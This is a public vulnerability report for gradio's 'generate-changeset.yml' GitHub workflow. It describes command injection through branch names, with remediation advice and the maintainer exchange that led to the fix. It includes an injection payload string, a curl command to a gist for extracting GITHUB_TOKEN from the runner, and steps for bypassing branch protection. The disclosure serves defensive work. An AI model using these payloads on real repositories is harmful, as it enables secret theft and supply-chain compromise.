

Source repository compromise via github actions workflow in gradio-app/gradio

✓ Valid

Reported on Oct 26th 2023

Summary

The [generate-changeset.yml](#) github actions workflow is vulnerable to unauthorised modification of the base repository and secret exfiltration (`GITHUB_TOKEN`).

The untrusted user input `github.event.workflow_run.head_branch` is used in a privileged context of the workflow in an insecure way which can lead to command injection in workflow runner.

Details

The workflow is triggered by `workflow_run` trigger.

```
name: Generate changeset
on:
  workflow_run:
    workflows: ["trigger changeset generation"]
    types:
      - completed
```

This trigger acts as a callback when another workflow finishes. In this case the vulnerable `Generate changeset` workflow is triggered when the `trigger changeset generation` workflow finishes.

In order to trigger this workflow, the attacker needs to

- Fork the vulnerable repository.
- Create a branch name with attacker payload. A branch name can be a shell command (can be reverse shell) as explained [here](#). `zzz";echo${IFS}"hello";#`
- Open a pull request to the base repository.

The vulnerable fragment resides in the `get-pr` job of `Generate changeset` workflow.

```
name: Generate changeset
on:
  workflow_run:
    workflows: ["trigger changeset generation"]
```

```
types:
  - completed
[ . . . Skipped]
steps:
  - name: echo concurrency group
    run: echo ${GITHUB_EVENT_WORKFLOW_RUN_HEAD_REPOSITORY_FULL_NAME}::${GITHUB_RUN_ID}
[ . . . Skipped]
```

The issue here is that the `run` operation generates a temporary shell script based on the template. The expressions inside of `${GITHUB_EVENT_WORKFLOW_RUN_HEAD_REPOSITORY_FULL_NAME}` are evaluated and substituted with the resulting values before the shell script is run which may make it vulnerable to shell command injection.

So the attackers payload (reverse shell) will be executed here.

Note: I did not reproduce this vulnerability as I need to send a public PR.

Impact

At the start of each workflow job, GitHub automatically creates a unique `GITHUB_TOKEN` secret to use in your workflow. You can use the `GITHUB_TOKEN` to [authenticate in the workflow job](#).

Once the attacker gets RCE, the `GITHUB_TOKEN` value can be extracted from `Runner.Worker` process using the below command.

```
curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328
```

There is also another token used in the workflow. `secrets.COMMENT_TOKEN` which can be stolen.

Anyone with a github account can exploit this vulnerability.

The `GITHUB_TOKEN` has read and write permissions to repository. Proof from this workflow [run](#)

Using `GITHUB_TOKEN` an attacker can push to base repository or manipulate in some other way.

You may have branch protection enabled in the repository. Particularly you may have the [require pull request reviews before merging rule](#) enabled.

However the rule can be bypassed using the `GITHUB_TOKEN` because the token has write access to the repository thus can approve pull malicious pull requests.

The bypass won't work if the code owner's approval is required on all files, In this case a malicious user still should be able to push to a non-protected branch (or create a new one) to create a release/tag out of it infecting the supply chain.

Note : In order to exploit the vulnerability attacker needs to be able to run workflows, some repositories may require workflows from first-time contributors to be approved by repository maintainer. This limitation is added to prevent [crypto miners](#), so it can be bypassed by simply contributing a legitimate pull_request (fixing typos) and then issuing attack.

Remediation

- The best practice to avoid code and command injection vulnerabilities in GitHub workflows is to set the untrusted input value of the expression to an intermediate environment variable:

```
- name: print title
  env:
    TITLE: ${{ github.event.issue.title }}
  run: echo "$TITLE"
```

I can send a PR to fix this. Please let me know if you want me to do so.

Occurrences

 generate-changeset.yml L26

References

- [Keeping your GitHub Actions and workflows secure Part 2: Untrusted input](#)

 We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. 2 years ago

 We have contacted a member of the **gradio-app/gradio** team and are waiting to hear back 2 years ago



↑ Arun submitted a patch 2 years ago



Abubakar Abid commented 2 years ago

Maintainer

Thanks Arun! We'll remove this from our CI



Abubakar Abid gave praise 2 years ago

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1



Arun commented 2 years ago

Researcher

I could see it's fixed. ([#6306](#)) Thanks. Could you please validate and mark this as fixed?



pngwn commented 2 years ago

Maintainer

Hi! Thanks for for reporting these details. We've taken a look and would like you to please submit a report to our private bug bounty program with HackerOne at https://hackerone.com/hugging_face. We'll need to send you an invitation so please let us know which email address to send to, or a H1 username if you've already got one! If you run into any issues submitting please let us know.

Thanks!



✓ **pngwn** validated this vulnerability 2 years ago

\$ **arunstar** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



Arun commented 2 years ago

Researcher

Thank you so much. My HackerOne username is **arundroid** (**arunstar333@gmail.com**)



✓ **pngwn** marked this as fixed in **main** with commit **5b5af1** 2 years ago

\$ The fix bounty has been dropped ✗

\$ **generate-changeset.yml#L26** has been validated ✓



This vulnerability has now been published 2 years ago

📝 **Ben Harvie** modified the CWE from Exposure of Sensitive Information to an Unauthorized Actor to Improper Neutralization of Special Elements used in a Command ('Command Injection') 2 years ago

[Sign in](#) to join this conversation

CVE

CVE-2023-6572

Published

Vulnerability Type

CWE-77: Command Injection

Severity

Critical (9.6)

Attack vector

Network

Attack complexity

Low

Privileges required

Low

User interaction

None

Scope	Changed
Confidentiality	High
Integrity	High
Availability	None

[Open in visual CVSS calculator](#) 

Registry

Pypi

Affected Version

latest

Visibility

Public

Status

Fixed

Disclosure Bounty

\$1500

Fix Bounty

\$375

Found by



Arun

@arunstar

LIGHTWEIGHT

 h

Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)